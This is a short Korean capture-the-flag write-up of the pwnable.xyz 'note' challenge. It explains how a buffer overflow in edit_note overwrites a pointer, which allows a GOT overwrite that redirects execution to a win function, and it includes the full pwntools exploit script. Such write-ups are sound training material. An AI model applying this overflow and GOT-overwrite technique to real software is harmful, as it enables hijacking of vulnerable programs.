pwn/pwnable.xyz
pwnable.xyz / note
lok2h4rd
2022. 5. 6. 15:29
- note를 수정하고
- desc 수정
- exit
원하는 만큼 길이만큼 데이터를 쓸 수 있다
buf에 저장된 주소에 데이터를 쓸 수 있다
edit_note에서 bof가 터져서 buf를 덮을 수 있다
edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다
( 서버가 닫혀있다.... )
h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py
from pwn import *
#p = remote("svc.pwnable.xyz", 30016)
p = process("./note")
win = 0x40093C
def edit_note(length, data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Note len? ")
p.sendline(length)
p.recvuntil(b"note: ")
p.send(data)
def edit_desc(data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"desc: ")
p.sendline(data)
payload = b"A" * 0x20
payload += p64(0x601238)
edit_note(b"48", payload)
edit_desc(p64(win))
p.interactive()